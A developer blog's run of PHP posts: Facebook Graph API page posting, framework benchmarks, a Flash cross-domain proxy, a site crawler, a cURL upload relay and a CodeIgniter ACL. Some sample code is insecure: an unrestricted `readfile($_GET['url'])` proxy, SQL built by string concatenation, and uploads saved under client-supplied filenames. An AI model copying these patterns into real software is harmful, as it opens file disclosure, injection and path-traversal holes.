Publishing to a page’s wall

According to the Facebook documentation, we need to register an application in order to use it to publish messages to a page’s wall. The process is explained on that page, so this should be a good moment to read it.

The process could be summarized as follows:

1. Create an application.
2. Get the token for that application to manage the user’s pages (where the user is administrator of those pages).
3. Get the specific token for that application through the user to a precise page.

While it should have been worked as it is explained on the documentation, I was having the following error:

(#200) The user hasn’t authorized the application to perform this action

So… why? According to the documentation, manage_pages is the only permission required for an application to access a page, and everything seemed in order. Actually, it wasn’t. After some tests going back and forth and some googleing, I realized I didn’t have enough scope, and adding publish_stream and read_stream seemed to be a requirement for the application to actually write to page’s wall. In addition, offline_access would produce a token that does not expire.

Once this issue fixed, the following steps should lead to a successful publication in a page’s wall from an external script:

1. Register your application here.
2. Obtain access to manage pages from the authorized page administrator
   https://www.facebook.com/dialog/oauth?client_id=$id&client_secret=$secret&redirect_uri=$uri&scope=publish_stream,offline_access,read_stream,manage_pages&response_type=token
3. Get an access token to the precise page of that administrator
   https://graph.facebook.com/me/accounts?access_token=$all_apps_token
4. Now you should be able to publish to that page with this token through a POST call to
   https://graph.facebook.com/$page_id/feed

Here you are an example in PHP that uses this token to publish messages:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

class Facebook
{	    
    /**
     * @var The page id to edit
     */
    private $page_id = 'XXX';	
 
    /**
     * @var the page access token given to the application above
     */
    private $page_access_token = 'YYY';	
 
    /**
     * @var The back-end service for page's wall
     */
    private $post_url = '';
 
    /**
     * Constructor, sets the url's
     */
    public function Facebook()
    {
        $this->post_url = 'https://graph.facebook.com/'.$this->page_id.'/feed';
    }
 
    /**
     * Manages the POST message to post an update on a page wall
     * 
     * @param array $data
     * @return string the back-end response
     * @private
     */
    public function message($data)
    {   
        // need token
        $data['access_token'] = $this->page_access_token;
 
        // init
        $ch = curl_init();
 
        curl_setopt($ch, CURLOPT_URL, $this->post_url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 
        // execute and close
        $return = curl_exec($ch);
        curl_close($ch);
 
        // end
        return $return;        
    }
}
 
$facebook = new Facebook();
 
$facebook->message(array( 'message'     => 'The status header', 
                          'link'        => 'http://theurltopoint.to', 
                          'picture'     => 'http://thepicturetoinclude.jpg',
                          'name'        => 'Name of the picture, shown just above it', 
                          'description' => 'Full description explaining whether the header or the picture' ) );

Publishing to an app’s wall

In some cases, we might want to publish to the application’s wall itself, so that there is no need to have a second application to publish to the first one’s wall.

According to some of the discussions on the matter that can be found on the internet, this should work by simply using $page_id as the target and the same $page_id to request the manage_pages permission.

In this case, we would follow the same process explained above, but slightly simplified:

1. Register your application here.
2. Obtain an access code for your application
   https://graph.facebook.com/oauth/access_token?type=client_cred&client_id=$id&client_secret=$secret
3. Now you should be able to publish to the application’s wall with the token obtained through a POST call to
   https://graph.facebook.com/$app_id/feed

However, Following the steps above, I obtained an error again:

{“error”:{“type”:”OAuthException”,”message”:”(#200) Posts where the actor is a page cannot also include a target_id”}}

Which was way confusing since there shouldn’t be any limitation according to Facebook’s documentation. After some searching and reading literature about (here and here), I discovered that publishing from an application to its own wall is doable, and in fact it works very well with the JS API provided by Facebook.

Then why the JS API would achieve the goal while its web service sister just throws a mystic error? It was quite obvious that they had to be using somewhat different service url’s… after inspecting the HTTP calls made by the JS API and was surprised to found that it is actually a GET (instead of POST call):

https://graph.facebook.com/$app_id/feed?access_token=$token&callback=FB.ApiServer._callbacks.$some_callback_id&message=Hello%2C%20World!&method=post&pretty=0&sdk=joey

I just had to test this new url with the parameters of my application, and this time it just worked as expected:

https://graph.facebook.com/$app_id/feed?access_token=$api_access_token&message=Hello%2C%20World!&method=post

This is the only solution I have found so far to be able to publish messages from PHP on behalf of an application itself. It is a bit awful, but I haven’t found any other way to make this work, and the documentation provided by Facebook seems like knocking on a wall.

Has anybody found any better solution for this problem? Comments are welcome!

It has been designed to be light though structured and functional. It is intended for people who need to develop home-brew solutions and are not happy with the footprint of other frameworks, or for those who just want to have fun while creating their own MVC system.

If you are interested, visit the page for documentation and download here.

• Available features and community extensions.
• A good documentation with examples.
• A low footprint.

The balance between these three values and the impact of each one on your project will determine the good candidate. Since having a wide range of included features and an active community who provides with extensions, we are sure that the wheel won’t be reinvented. Thus, we can become productive much faster.

Secondly, documentation and examples also help to understand the technology and reduces the learning curve, so that, once again, we can do more complex thing much earlier.

On the other hand, against the benefits of a well-known MVC framework, which includes the points above but also security, code structure, and strong development guidelines, we have to consider how the footprint will affect the overall performance.

But is performance a critical point? In a time where servers can be escalated and are costless, should we worry about optimal performance and fast scripts? Well, it depends on your project. I dare say that the vast majority of web sites (according to Pareto principle) can be developed with one framework or another. However, there might be specific cases where optimal performance and low execution time are the key to success.

For instance, with social networking websites. Users do not want to wait for the content to be loaded, search engines are more and more favoring domains with a short load time and, finally, when the service may escalate, the cost related to hosting may save you a significant amount of money by the end of the year.

While there are many ways to make your site load faster, whether you use a framework or not (code cache, html cache, right header cache policies, using a CDN for static files…), it seems logical that the best results on this field are achieved by using low footprint frameworks, or even home brew lightweight platforms, completely adapted to your needs and means.

On the other side, there is the matter of investment, which tends to be more critical when developing a home made platform than when adapting some solution in the market. Once again, it’s up to you to judge what fits better your situation, needs, and possibilities.

A real case

For a project I am working to, I have considered a few solutions to improve the code and be ready for high scalability by increasing coding productivity as well. The first I did is to research a bit about PHP MVC frameworks, their features and drawbacks:

• Wikipedia: Comparison of Web Application Frameworks.
• PHPFrameworks.com
• PHPIT.net.
• Mustap.com PHP Zone: Top 10 PHP MVC Frameworks.

Then I looked for performance benchmarks made by other users. Soon I realized that every project’s official site tends to present their product as clearly the best. Therefore, I have mostly considered third party studies like:

• Beyondcoding: Yii Vs. Kohana Vs. Code Igniter.
• Beyondcoding: Quick comparison of Code Igniter and Kohana.
• Daniel’s Corner: Comparison of PHP Frameworks.
• Shelmandu: PHP MVC Framework Performance.

After reading a while, I decided that a good candidate would be Kohana or Yii, because both are light enough, while well documented and rich in features, that is, the best balanced from the output of the research done. The next step I did then was to test them against a raw PHP script on a local server.

The benchmark

To set up the benchmark, I have installed a MAMP environment on a MacBook computer. The results and specifications of the machine are not relevant on themselves, so I will focus on the relative performance between applications. The software used to run the tests is JMeter, a free tool from the Apache project, written in Java and therefore, cross-platform.

The test consisted on a basic script that connected to a database to get 100 results from a table and showed them on a HTML page. I run the battery with and without APC, and the following table shows the results:

Please note: the first three technologies have been tested with and without APC. This has thrown light over the fact that, despite using APC raises the selected MVC’s performance to an acceptable level, there is also a considerable lose regarding raw PHP.

The last two ones have been run on a second series, after I decided that, despite I am planning  to use APC, it was better to compare the frameworks on their basic installation. Despite using APC is a good idea, it has to be applied to every view generation on a widely manner, so it is better not to rely all the application’s performance on the right use of this tool, but on a certain basis. These two cases (PHPro MVC and Limonade) have been chosen for their low footprint, despite their lack of extensions migh increase the time investment.

Conclusion

As I said before, choosing a framework for your web application is not a trivial task. Normally, any of the most well-known applications would be more than useful. Frameworks like CakePHP, Zend, Yii, Kohana and Code Igniter are well documented, maintained by a big community, rich on features and – some more than others – are considerably fast. Only in some very precise and critical situations we would like to choose some home brew PHP code, and in that case whether Limonade, whether our own PHP MVC framework (and PHPro MVC is a good base architecture to start with) would be the solution we are looking for.

It’s up to you, what are your experiences with high load websites and PHP Frameworks? Which one do you prefer? Comments are welcome

23/03/2011 Update

Please take a look to MVC Light if you are interested on lightweight home-brew frameworks (it is an evolution of PHPro MVC)

If the external resources you are trying to use come from your own application in another domain / server that you manage, then it can be fixed by adding a cross-domain policy file. This file must be defined on the content source server, and your AS application has to explicitly declare this server as allowed.

Security.allowDomain("domainone.com");
Security.allowDomain("domaintwo.com");

But if this is not the case and the content source is on a different remote server like, for instance, when implementing an RSS news reader which grabs content from sources like online news sites, then this problem can be worked out with a PHP proxy file.

$url = $_GET['url'];
readfile($url);

Since PHP is not affected by this policy, all the RSS feeds would be read through this small script, by calling it like ‘proxy.php?url=http://rss.thedomain.com’. Being this file exactly on the same domain than the AS application, the cross-domain problem is solved.

However, I have also found an odd behavior regarding this proxy PHP file: it works perfectly when opening the SWF compiled application directly on the browser (http://yourdomain.com/app.swf), but not when it is loaded as a part of the HTML code (embedded into an HTML page like http://yourdomain.com/app.html). The SWF application just doesn’t find the file (but it is there!), despite it reads without any problem a test text file on the same folder. So it seems as if the question mark ‘?’ changed the way the SWF application looks for files or executes url addresses. I don’t have a reason for this yet, but I guess that it is related to the way the Flash plugin manages the security, by using different sandboxes for direct and embedded executions of the application.

The solution for this second collateral problem is passing the domain name as a parameter, so that the full path to the proxy file can be constructed inside the AS application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

<html>
	<head>
		<style type="text/css">
			...
		</style>
		<script type="text/javascript">
			...
		</script>
	</head>
	<body>
		<div id="flash">
			<? $basepath = getBasePath() ?>
			<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/" width="960" height="610">
		    	<param name="allowScriptAccess" value="always" />
		    	<param name="movie" value="main.swf?basepath=<?=$basepath?>" />
		    	<param name="quality" value="high" />
		    	<param name="bgcolor" value="#ffffff" />
				<param name="basepath" value="<?=$basepath?>" />
				<embed src="main.swf?basepath=<?=$basepath?>" 
				    quality=high bgcolor=#FFFFFF width="960" height="610" name="main"
				    type="application/x-shockwave-flash" 
				    pluginspace="http://www.macromedia.com/go/getflashplayer">
				</embed>
			</object>
		</div>
	</body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13

<?php
function getBasePath()
{
	$path = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
	$aPath = split('/',$path);
	if ( eregi ( '\.php', $aPath[sizeof($aPath)-1] ) )
	{
		$aPath[sizeof($aPath)-1] = '';
	}
	$path = join('/',$aPath);
	return $path;
}
?>

var proxyPath:String = this.loaderInfo.parameters.basepath + 'proxy.php'; // proxy for cross-domain problems

In any case, these problems only arise in online mode, I have not had any issue while working from my development suite, so it is when moving to a production environment when the pain in the ass can show out. Finally, this is nothing new, but handy and interesting not to forget.

There are a few tools to map an external web site, I tried some in my particular case. They were just adware, or demos, or they obscured the links in the final report… Yeah, of course, sometimes a $30 license is worth it, but you might not want to acquire a new piece of proprietary software every time you need a new feature, might you?

So I decided to write it myself in PHP, not for the money, but for the fun

The architecture

First of all, a bit of planning the application:

Web mapper work flow diagram

Web mapper work flow diagram (Visio).

Let’s take a look at this work flow diagram. First of all, the mapper reads the entry url address in search of links. The blue color represents the entry and exit points of the application.

Then it reads the HTML code, parses it in search for links, and if found, it runs a loop on each one of them. The green color means the actions taken within the loop. Basically, this involves saving the link into the database, and, if the address is not external (that means, it points to a page within the same domain name), then reading it and starting the process again for this new url.

This practice is commonly known as ‘recursion’, and is represented in orange. When a link within a page is followed, the application has just entered a new recursion level, then reads the  HTML code and seeks for links, starting again a new loop. Think of it like a set of Russian dolls: every link of a page contains a page with more links, so there we start a new entire loop from an iteration of the previous one, and so on.

The recursion will end when a page has no links, or all its links are external. Then the application has found a leaf page, nothing to do deeper than that, and can return one level up. When all the leaf pages are read, this algorithm will return to the main entry level, when, after going through all links found, will finish.

This, depending on the web site structure, can take a few minutes to complete all the mapping, so that is better to use a fast and reliable programming language. In my case, I have used PHP for simplicity’s sake, since is the language I am using daily, but on a test server where I can increase execution time. For more intensive uses of this script, I would recommend to have it translated into another language, or to run it from console with the PHP interpreter, not from the web server itself.

In addition, this architecture is really basic, that means that a lot of things can be improved. For instance, a check has been added to avoid following links twice. This, however, is not so easy to implement, since inner links can follow different conventions (“www.domain.com”, “domain.com”, “sub.domain.com”, “/”, “./”). Thus, the code presented below should be used for academic and learning purposes, I can not guarantee that it is going to work perfectly at all.

The code

Let’s present the code now. It has been written for the Code Igniter framework, but can be easily ported to no matter what architecture or language. A few conventions:

• It is based on the class ‘spider’, whose main method ‘crawl()’ launches the initial entry point, and the inner and protected method ‘_crawl()’ implements the recursion.
• All inner and protected methods are preceded by an underscore (_).
• A few configuration attributes allow a sandbox definition, limiting the recursion levels and the domains to be crawled.
• As said before, it is based on Code Igniter, but in this case that is only to provide an easy interface with the database. You can just replace all instances of $this->ci->db with your own MySQL connection class.

Using the class is very simple:

1
2
3
4
5
6
7
8
9
10

$spider = new spider();
 
$spider->crawl( array(  'entry'		=> 'http://jorgealbaladejo.com',
			'domains'	=> array(	'jorgealbaladejo.com' ,
							'www.jorgealbaladejo.com',
							'jorgealbaladejo.ch',
							'jorgealbaladejo.es'	) 
			) );
 
$spider->printResults();

And finally, the core class code. It is commented so it may be easy to understand, eventually. However, comments, improvements and doubts are welcome, so if you find I am doing something not clearly enough, or you would have just done it in another way, please share your comments!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400

/**
 * Class spider
 * Creates a spider which crawls the internet
 * 
 */
class spider
{
	/**
	 * @var Code Igniter object for database access
	 * 
	 */
	var $ci;
 
	/**
	 * @var maximum recursivity depth
	 * 
	 */
	var $max_depth 	= 100;
 
	/**
	 * @var default domains to restrict crawling
	 * 
	 */
	var $domains 	= array('jorgealbaladejo.com','vwww.jorgealbaladejo.com');
 
	/**
	 * @var indentation level
	 * 
	 */
	var $indent 	= 20;
 
	/**
	 * @var internal links array
	 * 
	 */
	var $links 	= array();
 
	/**
	 * Constructor
	 * 
	 */
	public function spider()
	{
		$this->ci =& get_instance();	
 
		// load links in database to internal list
		$this->_loadLinks();	
	}
 
	/**
	 * Entry point for recursive function crawl
	 * 
	 * @param object 	$params
	 * @param array 	$params['domains']
	 * @param string	$params['entry']
	 * 
	 * @return boolean
	 *  
	 */
	public function crawl($params)
	{
		if (isset($params['domains']))
		{
			$this->domains = $params['domains'];	
		}
 
		if (isset($params['entry']))
		{
			$this->_crawl($params['entry']);	
 
			return true;
		}
 
		return false;		
	}
 
	/** 
	 * Recursive crawling function
	 * 
	 * @param string	$page
	 * @param int 		$parent [optional]
	 * @param int 		$depth of current page [optional]
	 * 
	 * @return void
	 * 
	 */
	protected function _crawl($page, $parent = 0, $depth = 0)
	{
		// vars
		$doc 	= '';
		$title 	= '';
		$desc  	= '';
		$out 	= NULL;
		$links 	= array();
		$link 	= '';
		//
 
		// correct url
		$page 	= $this->_buildUrl($page,$parent);
 
		// avoid reading the same url twice
		if (array_key_exists($page,$this->links))
		{
			return false;
		}
 
		// only read info for inner pages
		if (in_array($this->_getDomain($page),$this->domains))
		{			
			// read page content
			$doc 	= $this->_getHTTPRequest($page);
 
			// get page meta data
			list($title, $desc) = $this->_analyzePage($doc,$page);
		}
 
		// log into inner array
		$this->links[$page] = array(	'url' 		=> $page ,
						'title'		=> $title ,
						'description' 	=> $desc );
 
		// write into database		
		$this->ci->db->query('INSERT INTO web.map VALUES("",' .
					'"' . $page . '",' .
					'"' . $title . '",' .
					'"' . $desc . '",' .
					'"' . $parent . '") ');
 
		$parent = $this->ci->db->insert_id();	
 
		$this->_printLine($title,$desc,$page,$depth);	
 
 
		// avoid recursion for external domains
		if (!in_array($this->_getDomain($page),$this->domains))
		{
			return;
		}
 
		// now get links and launch recursively
		$links = $this->_getInnerLinks($doc);
 
		foreach($links as $link) 
		{ 
			if ($depth < $this->max_depth)
			{
				$this->_crawl($link,$parent,$depth+1);	
			}				
		}
 
		return;		
	}
 
	/**
	 * Prints the current links array
	 * 
	 *  
	 */
	public function printResults()
	{
		ksort($this->links);
 
		foreach ($this->links AS $link)
		{
			$this->_printLine($link['title'],$link['description'],$link['url'],0);
		}
	}
 
	/**
	 * Preloads the existent links in database 
	 * 
	 */
	private function _loadLinks()
	{
		$result = $this->ci->db->query('SELECT url,title,description FROM web.map ORDER BY url ASC');
 
		if ($result->num_rows())
		{
			$results = $result->result();
 
			foreach($results as $r)
			{
				$this->links[$r->url] = array(	'url' 		=> $r->url ,
								'title' 	=> $r->title ,
								'description' 	=> $r->description );		
			}
		}		 
	}
 
	/**
	 * Reads a document for html links
	 * 
	 * @param string $doc [optional]
	 * 
	 * @return array of links
	 *  
	 */
	private function _getInnerLinks($doc = '')
	{
		$return = array();
		$regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
		$match  = null;
 
		if(preg_match_all("/$regexp/siU", $doc, $matches, PREG_SET_ORDER)) 
		{ 	
			foreach($matches as $match) 
			{ 
				$return[] = $match[2];
			} 
		}
 
		return $return;
	}
 
	/**
	 * Prints a line for the current url
	 * 
	 * @param int
	 * 
	 */
	private function _printLine($title = '', $desc = '', $page = '', $depth = 0)
	{
		// do not indent at this time
		$depth = 0;
		//
 
		echo '<p>' .
				'<h3 style="margin-left:' . ($depth*$this->indent) . 'px">' . 
					stripslashes($title) . 
				'</h3>' . 
				'<span style="margin-left:' . ($depth*$this->indent) . 'px">' .
					substr(stripslashes($desc),0,100) .
				'</span>' . 
				'<h4 style="margin-left:' . ($depth*$this->indent) . 'px">' . 
					$page . 
				'</h4>' .
			'</p>';	
	}	
 
	/**
	 * Analyzes a page to get meta information
	 * 
	 * @param string $doc(cument)
	 * @param string $page
	 * 
	 * @return list($title,$description);
	 *  
	 */
	private function _analyzePage($doc, $page)
	{
		//
		$title 	= '';
		$desc 	= '';
		//
 
		if (eregi ("<title>(.*)</title>", $doc, $out)) 
		{
			$title = addslashes($out[1]);	
 
			if (strlen($out[1]))
			{
				$title = substr($title,0,50);	
			}			
		}
 
		$out 	= @get_meta_tags($page);
 
		if (isset($out['description']))
		{
			$desc 	= addslashes($out['description']);
		}
 
		return array($title,$desc);
	}
 
	/**
	 * Completes a page link with the domain if needed
	 * 
	 * @param string $page
	 * @param int 	 $parent
	 * 
	 * @return string corrected url
	 *  
	 */
	private function _buildUrl($page,$parent)
	{
		// prepare url if relative
		if (!eregi('http://',$page))
		{
			// root relative path
			if (strpos($page,'/') == 0)
			{
				$page = 'http://' . $this->domains[0] . $page;	
			}
			// page relative path
			else
			{
				if (strpos($page,'mailto:')<0 && strpos($page,'javascript:')<0)
				{
					$page = $this->_getUrlByID($parent) . '/' . $page;	
				}				
			}			
		}
 
		// trim final slash
		$page = trim($page,'/');
 
		return $page;
	}
 
	/**
	 * Gets url for a given ID
	 * 
	 * @param int url id
	 * 
	 * @return string the url
	 *  
	 */
	private function _getUrlByID($id)
	{
		$results = $this->ci->db->query('SELECT url FROM web.map WHERE ID = "' . $id . '"');
 
		if ($results->num_rows())
		{
			$result = $results->result();
 
			return $result[0]->url;
		}
 
		return '';
	}
 
	/**
	 * Gets domain name from a URL
	 * 
	 * @param string url
	 * 
	 * @return string domain name
	 * 
	 */
	private function _getDomain($url = '')
	{
		// get host name from URL
		preg_match('@^(?:http://)?([^/]+)@i', $url, $matches);
 
		if (isset($matches[1]))
		{
			return $matches[1];	
		}
		else
		{
			return NULL;
		}
 
	}
 
 
	/**
	 * HTTP helper function.<br />
	 * Loads an http request and returns result.
	 *
	 * @param string $url to request
	 *
	 * @return string the result
	 *
	 */
	private function _getHTTPRequest($url = '')
	{
		// vars
		$html = '';
		$old  = '';
		$file = '';	
		//
 
		//configuration
		$timeout 			= 15;
		//
 
		// execution
		try
		{
 
  			$file = @fopen($url, 'rb');
 
			if ($file)
			{
				$html = stream_get_contents($file);
				fclose($file);
			}						
 
		}
		catch(Exception $e)
		{
			$html = 'error';
		}
		//
 
		return ($html);
	}
}

For this project, we require to integrate some cameras which send pictures via GPRS connections to the server, and we want to provide some user authentication to avoid having anybody posting whatever to this web service. So, we have developed a controller in Code Igniter which gets a camera ID / password from POST, and also the bytes for the image, and proceeds to do some filtering. For instance, camera ID and password should match with the values previously registered in the database, and the picture should be MIME image/jpeg, with a limit of 2MBs. Up to now, nothing special, tested and working with POSTS from the within the website.

The problem came when we found out that cameras only allow to send their information to a root domain, to a particular file, let’s say upload.php. So, we would only need to put this file in the root path and it’s done. Unfortunately, doing so in the application virtual server would result on flashing again all the cameras once we move to a new server and set up a final domain name. We might be able to install this receiver in the commercial website root path, but then we would require to send the message back to the application server in any way, so it is not the best solution we want to solve this issue.

‘Just add a domain that points to this subdomain and you are done’ would you say. Well, yes, that would have done the trick. Unfortunately, we cannot host this domain in the machine since we have no administrator rights on the servers farm. Nor can we just use this external domain because it produces an HTTP redirection which, to make things worse, is not supported by the camera. We’ve even tried with cloaking the url of the receiver with an external subdomain, with no success – since cloaking wraps the real content inside an iframe and it breaks the POST message.

What a headache! it seemed there was no way to implement the system with the full functionality we wanted…

At thas moment we were a bit puzzled because we had to choose between two main options, which in any case took us away from the initial implementation design:

• hosting the receiver script in a subdomain that would change
• hosting it in a fixed external domain (the commercial website) and try to send the messages back to the application server
• in any case, we would have to implement the features planned for the Code Igniter controller in this new stand-alone script, which would produce extra work and remove some built-in capabilities

How to fix this problem? Well, he have chosen a variant of #2: try to send the messages back to the application server. But how exactly? Well, by tunneling the multipart POST message with CURL.

To achieve our goal we have written a script which is hosted in the domain root of the commercial website, with does the following:

1. Reads the serial number sent by the camera
2. Reads the temporary upload file, and moves it to a specified folder
3. Initializes and configures PHP-CURL to generate a new POST message with the data recovered and the image content as multipart form
4. Deletes the temporary file created

And the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

/**
 * @file upload.php
 * This pipeline grabs a POST message and sends it back to a processing server
 * It is meant to solve a particular problem where the sender device has limited
 *  HTTP functionalities like being unable to deal with Apache redirections
 *
 * This code is just an example, you may use for learning purposes
 *
 */
// camera serial number, it is barely filtered because the real processing
//  is to be done in the final server
$csn	= ( isset( $_POST['CSN'] ) ? $_POST['CSN'] : 0 );
 
// we need to locally store the file to resend it
$file 	= $_FILES['userfile'];
$tmp 	= "tmp/" . $file["name"];
move_uploaded_file( $file["tmp_name"], $tmp );
 
// post information is rebuilt
$data = array( 'CSN' => $csn, 'userfile' => '@' . $tmp );
// note the @ which tells CURL that this field is a file
// this will be automatically interpreted as a application/multipart form
 
// init and configure curl
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, 'http://the-application-server/path/controller/method' );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, $data );
 
// finally, send
curl_exec ($ch );
 
// and delete the locally stored file
unlink($tmp);

After googling a bit, I found our several methods to get an ACL. Zend framework can be integrated into Code Igniter to use its library, but doesn’t seem really natural to me. I prefer having an previously constructed list, than building it ‘on the fly’ inside my code.

Then I fell into phpGACL, a free software project which allows to solve this problem on an easy way. It uses an API to connect to a database, where tuples of ‘controller’ – ‘method’ – ‘user’ can be stored (actually, AXO – ACO – ARO, acronyms of Access eXtended Object, Access Control Object, Access Request Object). And I developed my first version over this tool, on the most transparent way I was able to find:

• There is a MY_Controller class where all other controllers inherit from
• Constructor in this class launches a method, also in the parent controller, like $this->checkAccess(), so ACL is always evaluated before launching any other controller.
• Method checkAccess gets user ID and role from session values (typically, in database) and calls phpGACL passing it three parameters: the user role, and current method and controller (both taken from the url string)

Note that I used the parent controller constructor to launch the user access control, but I could have used a hook. However, I preferred this for the sake of visibility: I’ll never forget what’s exactly running on every call to my controllers. But, this is only a matter of personal style.

The code would have looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

class MY_Controller extends Controller
{
  var $gacl = NULL;
  function MY_Controller()
  {
    parent::Controller();
 
    // acl initialization
    include_once('path_to_phpgacl_library');
    $this->gacl = new gacl(array('db_host'     => 'acl_host',
                                 'db_user'     => 'acl_user',
                                 'db_password' => 'acl_pass',
                                 'db_name'     => 'acl_base',
                                 'db_type'     => 'acl_type' ) );
    // does the user have access?
    if (!$this->checkAccess())
    {
      redirect('','refresh');
    }
  }
 
  /**
     * Uses phpGACL library to determine user access.
     * Checks if a user has access to a method on a controller.
     * Takes user role from session.
     * Takes method and controller from $this->uri attribute.
     *
     * @return boolean if access is granted
     *
     */
  function checkAccess()
  {
    // variables
    $method     = $this->uri->rsegments[2];
    $controller = $this->uri->rsegments[1];
    $role       = $this->rdauth->getUserRole();
    //
 
    // I've created sections 'methods' for ACO's,
    //  'users' for ARO's and 'controllers' for AXO's
    return ( $this->gacl->acl_check( 'methods', $method,
                                     'users', $role,
                                     'controllers', $controller ) );
  }
}

Note also that this method runs automagically, converting url strings (controller and method) to phpGACL calls. Even though loading the default method for a controller (/index is omitted), internally CI auto fills this value as if it was written in url.

User role, as stated before, is returned by a custom library called rdauth, which will check session cookie to determine if there is a user logged in or not.

I used this system along several weeks, but finally I realized that – for my particular case – having all ACL definition in a database was not a good idea. Although phpGACL has an easy to use web interface to create these lists, and access control was separated from code, I found out these potential problems:

1. Of course, ACL’s are out of code. That means that it database fails, or any careless user changes something there, all sites whose permissions depend on this database will allow the wrong user roles to access the undesired forbidden controller / methods. Not a good piece of news for paranoid administrators.
2. Unless I create several databases, all historic branches, develop version and production version will share the same permissions. This is a bit messy to work with.
3. When I’m coding I don’t have a clear idea of what methods can be accessed by the user role that I’m testing. If I develop a new method to test, I need to go to web admin tool to add it.

So there are benefits of using phpGACL, but also derived problems. Was at this point, when talking to a friend about this, that we realized that actually doesn’t matter if ACL’s are in databases or just arrays.

So the approach of the final solution implemented is:

• Let’s change phpGACL with an access array in every controller
• Let’s change checkAccess method to look into this array instead of calling phpGACL API

The main flow for the users access control remains unchanged, and it is still transparent from a coder’s view. Even we gain control over what’s happening with every controller, since $access array is very descriptive:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

var $access = array('login'                  => array('visitors') ,
                    'resetPassword'          => array('visitors',
                                                      'registered',
                                                      'editors',
                                                      'managers',
                                                      'administrators') ,
                    'resetPasswordConfirm'   => array('visitors',
                                                      'registered',
                                                      'editors',
                                                      'managers',
                                                      'administrators') ,
                    'changePassword'         => array('registered',
                                                      'editors',
                                                      'managers',
                                                      'administrators') ,
                    'logout'                 => array('registered',
                                                      'editors',
                                                      'managers',
                                                      'administrators') );

Each method in the current controller has an entry in $access array. This entry is an array with all the roles that can load every method. Simple, isn’t it?

MY_Controller class then would look like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

class MY_Controller extends Controller
{
  var $gacl = NULL;
  function MY_Controller()
  {
    parent::Controller();
 
    // does the user have access?
    if (!$this->checkAccess())
    {
      redirect('','refresh');
    }
  }
 
  /**
     * Uses every controller access array to determine user permissions.
     * Checks if a user has access to a method on a controller.
     * Takes user role from session.
     * Takes method and controller from $this->uri attribute
     *
     * @return boolean if access is granted
     * @see phpGACL
     *
     */
    function checkAccess()
    {
        // variables
        $method = $this->uri->rsegments[2];
        $role    = $this->rdauth->getUserRole();
        //
 
        // check access
        if ($method)
        {
            if (array_key_exists($method, $this->access))
            {
                if (in_array($role, $this->access[$method]))
                {
                    return(true);
                }
            }
        }
        return (false);
    }
 
  }

So now, instead of just calling phpGACL API, I’m going over the access array, checking if there is defined an array of permissions for current method, and then if this array contains the current user role.

I haven’t finished defining users access control yet. There are further checks to forbid, for instance, avoiding that some user edited other users than itself, but these kind of ID checking will be implemented later (and perhaps explained on the following post).

What do you think? Do you use other approaches to get a good users access control list?

So I wrote a php script that would run with a cron job and every three months, create a new table, add it some triggers, and remap a MyISAM merged table on another database. Clear and easy, at the beginning. Everything went right until I went for the triggers creation…

First of all, there is no way to use the values returned from a SELECT or SHOW statement on MySQL stored procedures: that means that tasks like remapping the merged table cannot be done with stored procedures on 5.1. Well, I would need a PHP script anyway so this wasn’t really disappointing. After all, I would create a couple of stored procedures (one to create table, another to create triggers) on the database definition, so that I would never need to know both table and triggers structure from any external script.

That run with the table creation statement, but not with the triggers. As I used a prepared statement on MySQL to allow dynamic definition of tables and triggers (every quarter, a new table name), these technique has some limitations. One of them is as follows: prepared statements do not support yet create trigger sentences. So finally I had to move this part to the external script.

